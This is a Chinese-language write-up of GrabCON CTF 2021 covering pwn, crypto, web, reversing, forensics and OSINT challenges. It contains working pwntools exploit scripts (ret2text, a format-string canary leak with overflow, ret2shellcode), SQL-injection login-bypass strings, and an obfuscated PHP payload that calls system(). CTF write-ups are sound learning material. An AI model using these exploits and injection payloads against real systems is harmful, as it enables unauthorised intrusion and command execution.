GrabCON CTF 2021 WP
2021-9-6 11:13:21 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

1、Pwn

1.1、Easybin

程序直接给了后门函数system('/bin/sh'),return2text即可获得shell

from pwn import *sh=remote("35.205.161.145",49153)shell=0x401146payload=b'a'*0x38+p64(shell)sh.sendline(payload)sh.interactive()

1.2、Can You?

这题开了canary,但存在格式化字符串漏洞,可以读取canary的值,然后再进行溢出修改返回地址为system('/bin/sh')的地址

首先使用pwndbg调试,在printf处下断点,运行至此处输入%x.%x.%x.%x,得到第一个参数值为0xffffcea8

在栈中找到该值

可以知道格式化字符串第一个参数的地址为0xffffce90,而canary在ebp-0ch处,即0xffffcf0c

由此可以计算0xffffcf0c-0xffffce90=124,即31个字节,编写exp如下

from pwn import *sh=remote("35.246.42.94",31337)sh.recvline()payload1=b'%31$p'sh.sendline(payload1)canary=int(sh.recvline(),16)print(canary)system=0x08049236payload2=b'a'*0x64+p32(canary)+b'b'*12+p32(system)sh.sendline(payload2)sh.interactive()

1.3、Pwn CTF

该题未开栈不可执行保护,并且泄露了输入字符串的首地址,可以构造shellcode,ret2shellcode

from pwn import *sh=remote('35.246.42.94',1337)sh.recvuntil('some ')addr=sh.recvuntil('!')[-11:-1]print(addr)addr=int(addr,16)shellcode=asm(shellcraft.i386.sh(),arch = 'i386', os = 'linux')payload=shellcode+b'a'*(0x12a-len(shellcode)+4)+p32(addr)sh.sendline(payload)sh.interactive()
2、Crypto

2.1、Warm-up

下载下来是一串

S01ZRENXU1NJVkhGUVZKUkpaRkZNMlNLSTVKVENWU0xLVlZYQVlLVElaTkVVVlRNS0pIRkc2U1dKVkpHV01LWEtaQ1VVVENXTlJORlNVS1dOUkdGS01EVUs1S0dXVlNLS1pDWFFUQ1ROUllFT1VUTE1STFZDTUxFSk5MR1c0Q0lLWVlEQ1RDWEtWMkZNVjJWTkJKRk1SS09MQktHV05EWktKV0U0VlNOTlJTRVdWVEtLSkxWR01CUklOTEdXNUNQS05XRkVSQ1dLWkhFSVVaUk9CTUZFMjJXS1ZKVENXU0tLWlZWVVJTVUdGTEZLVkNGR0ZIVTRSU1ZQRkdXWVRTTUtOVlRLVEtTR0ZSVEFVSlFNUkdGSVZUTUs1SkZNVExaS1pWWElWMk5OTkxFNFZUS0pKTFZJUkxRSlZKR1dNS1RLTVlEU1RDVk5OMkVRVjJXSlpLRk1WTFVKTkpUQ1VTRUtaV0U0VjJTR0JORklVU1dNUkxGTVJMVUpSSldXNkNYS0lZVlVSQ1RHQVlVT1ZDRk1STUU0VktPS0ZKVENTU0VLWldGTVZLUkdGU0U2VkxMTVJNVktNS1dNRktXV09LREtFWUZVVUNWTk4yRVFVWlJPQkdGTVJLT0s1S1RBM0NNS0pWWFFTQ1hLWlNFSVZMTE1SRFZJMjIySlJMR1dUU0hLSVlWVVMyV05OU0ZHVTMySkpGRksyM0VLVklWTVVTVUtSS1hJVDJXR0JORk1WTDJKSk1GRU1DMktOTEVLUlNXS05XRU1VQ1JOTlNFT1ZEMkpGNUZPVkxMR0ZKVEFXU09LWVlVNFJTVEdGWUVJVlJRTlJKRTIyWlZKNUtHV05LR0tWTEZVVkNXTk00VUdVM0xMSkZGSzIzWUtKSldXU1NMS0lZV0dNS1JHRkpFWVZMTEpaTVZLVlNPSlJLVEE1Q1NLNUtWRVZDV0tWSEZNVVJRSVVZRk0yMkdLWkpXVVZTSktaS0RBT0tRS1FZRFNVQ1JIVTZRPT09PQ==

根据题意就base64与base32一直解,各解5次出来结果

GrabCON{dayuum_s0n!}

2.2、Poke Ball RSA

e很大,考虑小解密指数d,使用wiener攻击求解d

n = 498934084350094415783044823223130007435556803301613073259727203199325937230080661117917023582579699673759861892703348357714077684549303787581429366922208568924252052118455313229534699860304480039147103608782140303489222166267907007839021544433148286217133494762766492655602977085105487216032806292874190551319e = 134901827939710543990222584187396847806193644190423846456160711527109836908087675183249532946675670587286594441908191054495871501233678465783530503352727362726294270065122447852357566161748618195216611965946646411519602447104878893524856862722902833460104389620397589021732407447981724307130484482495521398799c = 100132888193232309251839777842498074992587507373917163874335385921940537055226546911990198769720313749286675018486390873216490470403470144298153410686092752282228631590006943913867497072931343354481759219425807850047083814816718302223434388744485547550941814186146959750515114700335721173624212499886218608818import hashlibfrom Crypto.Util.number import *from gmpy2 import *class ContinuedFraction():    def __init__(self , numerator, denumerator):        self.numberlist = []    #number in continued fraction        self.fractionlist = []  #the near fraction list        self.GenerateNumberList(numerator , denumerator)        self.GenerateFractionList()
def GenerateNumberList(self,numerator,denumerator):
while numerator != 1: quotient = numerator//denumerator remainder = numerator % denumerator self.numberlist.append(quotient) numerator = denumerator denumerator = remainder def GenerateFractionList(self): self.fractionlist.append([self.numberlist[0] ,1 ]) for i in range(1,len(self.numberlist)): numerator = self.numberlist[i] denumerator = 1 for j in range(i): temp = numerator numerator = denumerator + numerator * self.numberlist[i-j-1] denumerator = temp self.fractionlist.append([numerator,denumerator]) def Solve(a , b , c): '''solve ax^2+bx+c=0 , return x1 , x2''' delta = b**2 - 4 * a * c if delta < 0: return 0 if is_square(delta): sqr_delta = isqrt(delta) temp1 = -b + sqr_delta temp2 = -b - sqr_delta if temp1 % (2*a) != 0 or temp2 % (2*a) != 0: return 0 else: return [temp1//(2*a) , temp2//(2*a)] else: return 0def WienersAttack(e , N): a = ContinuedFraction(e , N) for i in a.fractionlist: k = i[0] d = i[1] if k == 0: continue fai_N = (d * e - 1) // k b = fai_N - N - 1 temp = Solve(1 , b , N) if isinstance(temp ,list): #print(d) p ,q = temp return d , p , q
d, p, q = WienersAttack(e, n)m=pow(c,d,n)print(long_to_bytes(m))#得到m为b'e=2,c=9019127052844164572606928250741960583163943438936945828390420331200602392329'#对c开根号得到flag:GrabCON{((^_^))}

2.3、Old Monk's Password

enc、enc1和enc2都是用flag加密后得到的密文,每次加密开始的i不同。因此只需还原出第一个加密的i即可根据加密逻辑编写解密脚本,得到flag

enc = b'\x0cYUV\x02\x13\x16\x1a\x01\x04\x05C\x00\twcx|z(((%.)=K%(>'enc1 = b'\x0bPPS\r\x0b\x02\x0f\x12\r\x03_G\t\x08yb}v+--*+*8=W,>'enc2 = b'\x07A[\x06\\\r\x15\t\x04\x07\x18VG]U]@\x02\x08&9&%\' 41".;'import codecsimport random'''class pass_w:    x = "hjlgyjgyj10hadanvbwdmkw00OUONBADANKHM;IMMBMZCNihaillm"    def encode(self, text, i = -1):        
if i < 0 or i > len(self.x) + 1: i = random.randint(0, len(self.x) + 1)
out = chr(i) for c in text: out += chr(ord(c) ^ ord(self.x[i])) i = (i + 1)%79
return codecs.encode(out)'''x = "hjlgyjgyj10hadanvbwdmkw00OUONBADANKHM;IMMBMZCNihaillm"text=codecs.decode(enc1)i=ord(text[0])password=''for t in range(1,len(text)): password+=chr(ord(text[t])^ord(x[i])) i=(i+1)%79print(password)#得到password为817letmein40986728ilikeapples,用GrabCON包裹即为flag

2.4、The Anceint Temple

题目代码如下:
M, s, l, C = 7777771, [], 1337, [] n=[]flag = "REDACTED"k = [list(map(int, list(' '.join(bin(ord(i))[2:]).split()))) for i in flag]def num_gen(first, last):
o = [[1]] cnt = 1 while cnt <= last: if cnt >= first: yield o[-1][0] row = [o[-1][-1]] for b in o[-1]: row.append(row[-1] + b) cnt += 1 o.append(row) for i in num_gen(7, 13): s.append(i) for i in range(len(s)): ni = ((l*s[i]) % M) n.append(ni)for p in k: C_curr = [] for (x,y) in zip(p, n): C_ = x*y C_curr.append(C_) C += [sum(C_curr)]print(M, s, l, C, n)#M = 7777771#s = [203,877,4140,21147,115975,678570,4213597]#l = 1337#C = [15051976, 12005794, 3916945, 6470614, 7771050, 19992202, 17519217, 19419005, 13883825, 18691766, 13988655, 6979140, 14478779, 13988655, 8943599, 13883825, 25527382, 6384186, 13988655, 16461640, 25527382, 16224525, 6707729, 21488294, 25527382, 14392351, 6707729, 16733051, 12005794, 25527382, 6470614, 3916945, 7771050, 12711276, 21673277]

根据以上源码可知,该题将flag的每个字符转换成二进制形式,进行背包加密,每个背包的重量为数组n,每个字符的加密结果存在数组C中,使用ctf-wiki上的脚本进行解密

import binasciipubKey=[271411, 1172549, 5535180, 4940226, 7280926, 5026654, 2472985]nbit = len(pubKey)c = [15051976, 12005794, 3916945, 6470614, 7771050, 19992202, 17519217, 19419005, 13883825, 18691766, 13988655, 6979140, 14478779, 13988655, 8943599, 13883825, 25527382, 6384186, 13988655, 16461640, 25527382, 16224525, 6707729, 21488294, 25527382, 14392351, 6707729, 16733051, 12005794, 25527382, 6470614, 3916945, 7771050, 12711276, 21673277]f=''for i in range(len(c)):
encoded = c[i] #encoded=273226919366677 print "start" # create a large matrix of 0's (dimensions are public key length +1) A = Matrix(ZZ, nbit + 1, nbit + 1) # fill in the identity matrix for i in xrange(nbit): A[i, i] = 1 # replace the bottom row with your public key for i in xrange(nbit): A[i, nbit] = pubKey[i] # last element is the encoded message A[nbit, nbit] = -int(encoded)
res = A.LLL() for i in range(0, nbit + 1): # print solution M = res.row(i).list() flag = True for m in M: if m != 0 and m != 1: flag = False break if flag: print i, M M = ''.join(str(j) for j in M) # remove the last bit M = M[:-1] M = chr(int(M, 2)) print M f+=M print f#得到flag为GrabCON{kn4ps4ck_h45_g07_y0ur_baCK}

3、Web

进去之后在登录框中用万能密码进行sql注入
username=admin'or 1=1#password=admin'or 1=1#

登录即可得到flag:GrabCON{E4sy_pe4sy_SQL_1nj3ct10n}

一道典型的php无字母shell题,preg_match匹配输入中是否存在字母,存在的话进入die分支,不存在则进入eval函数执行

由于题中已经提供了eval函数,所以用取反构造system函数输入命令即可

eq=$_=~"%8C%86%8C%8B%9A%92";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);&_=whoami

4、Reversing

直接静态查看,比较输入和v2

运行得到flag

exeinfo查壳发现存在upx

去壳后ida动态调试,查询字符串定位到“Enter the password: “下断点

开始调试,到输入函数停止,输入123456789

回车,继续跟进,发现到0x401EBA处存在一处判断跳转,会跳转到失败分支,但其正下方就是成功分支,所以修改ZF标志位的值,使其不跳转

进入到成功分支,继续跟进,得到flag

查壳,发现存在UPX

去壳之后IDA打开,静态查看字符串,发现关键字符

banner处下断点,尝试能否让程序走向输入密码分支

开始调试

结果失败,还是会直接退出且中间没有判断跳转点,所以继续进行静态分析,在main_one函数中找到可疑代码

尝试让程序走到main_one分支试试,向上追溯,在main_main函数处下断点,开始调试

一路F8直到0x000055B6E7319F96处发现有一个跳转逻辑跳过了main_one函数,所以修改ZF标志位,使其不跳转,再F7步入main_one函数

跟进,发现之前标记的关键词断点,执行过去之后控制台弹出输入密码字符

回车输入密码一路跟进,经过一个大循环到达可疑位置上方,此时又出现一个跳转,还是修改标志位,不让他跳转,注意此时修改的是SF标志位(之前都是ZF位)

跟进一行又碰到一个跳转,老套路修改标志位,成功进入到可疑分支

继续跟进,发现go_C14,这是字符串“GrabCON{”的地址

一路跟进到一个打印函数,发现打印出flagflag中括号前后有两个空格要去掉

GrabCON{626c61636b647261676f6e}实际上就是blackdragon的16进制字符串

用ida打开分析,该程序先将输入的flag进行hex编码,得到76个字节,将其分为两部分,分别为input1,input2。

然后将其进行一系列的运算得到一个二元四次方程组

通过分析列出如下的方程组(其中x,y为flag的两个部分)

使用sage对等式右边的式子进行因式分解

由此可以得到:

根据上述式子编写sage脚本得到x和y
for i in divisors(v5)://这里的v5是上述等式的左边部分    j=v5//i    if(i+j)%1338==0:        tmp=i-(i+j)//1338        if tmp%1336==0:            x=tmp//1336            y=(j-(i+j)//1338)//1336      print x,y

得到flag为GrabCON{r3v_4nd_m4th_1983eeebb6969ed5

5、Forensics

下载memdump.raw文件发现是一个dump下来的linux内存文件,用HxD打开,根据题目提示搜索关键词,linux下创建文件的命令常用的有touch、echo等,既然题目说创建并写入,那先搜索一下echo试试

搜索出来很多条,此时可以用echo + 空格 + 引号搜索,一般Linux下创建并写入都是用 echo “123” > 1.txt这类命令

搜索完成后立刻发现一个可疑的地方,类似shell命令行的一段文本

双击跟进,发现flag,文件为welcome,内容为一段md5(echo的那段base64解密后就是下面那段MD5)

GrabCON{welcome_402051f4be0cc3aad33bcf3ac3d6532b}

下载题目,是个安卓系统的文件夹备份

一开始被三个奇怪后缀的app吸引了

后来发现app是后面题目用到的

锁定社交平台是Skype后,开始用Sqlite Studio打开所有数据文件,但都是无用信息和空信息

后来在ProntoDate的提醒下,想到应该有相应的工具

找到Skyperious,一个Skype数据文件读取的工具

找到group name——31337 hax0r plan

找到参会人员和邮箱——evil mike,[email protected]

还找到聊天记录,是跟后面的Good Beating题有关,里面有个链接下载good.apk

但apk在安卓文件夹里也有

所以flag就是

GrabCON{[email protected]_31337_hax0r_plan_evil_mike}

6、OSINT

6.1、ProtonDate

寻找[email protected]的创建时间

github搜索protondate,发现项目

https://github.com/1cbf94bc-bc47-42b9-9197-244437fad1e6/protondate

运行得到时间

flag为GrabCON{03_09_2021}

6.2、Victim1

进入网站,是一个监控视频

监控里白天有黄色的缆车和雪山,再加上题目标题叫受害者,就查到了意大利今年发生的缆车事故,疯狂输入该事故的城镇名字,一直错误

然后在后面查另一题的网站时把ip地址丢到shodan里一搜

找到Brunico的邮编就对了,GrabCON{39031}

6.3、Victim2

这题是张图片,找图片的位置

右下角有个hotel有名字——SCHENNERHOF

google地图一搜

按照图片角度,就是后面这个Hotel Hohenwart了

所以flag是GrabCON{hotelhohenwart}


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&mid=2247483730&idx=1&sn=45f387bf9e06dfffcde192a1e8198a6f&chksm=cecc69d3f9bbe0c54b2485f76d2a3ff3873a5a30fea2d5357f07711fb344f69ee461e7288223&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh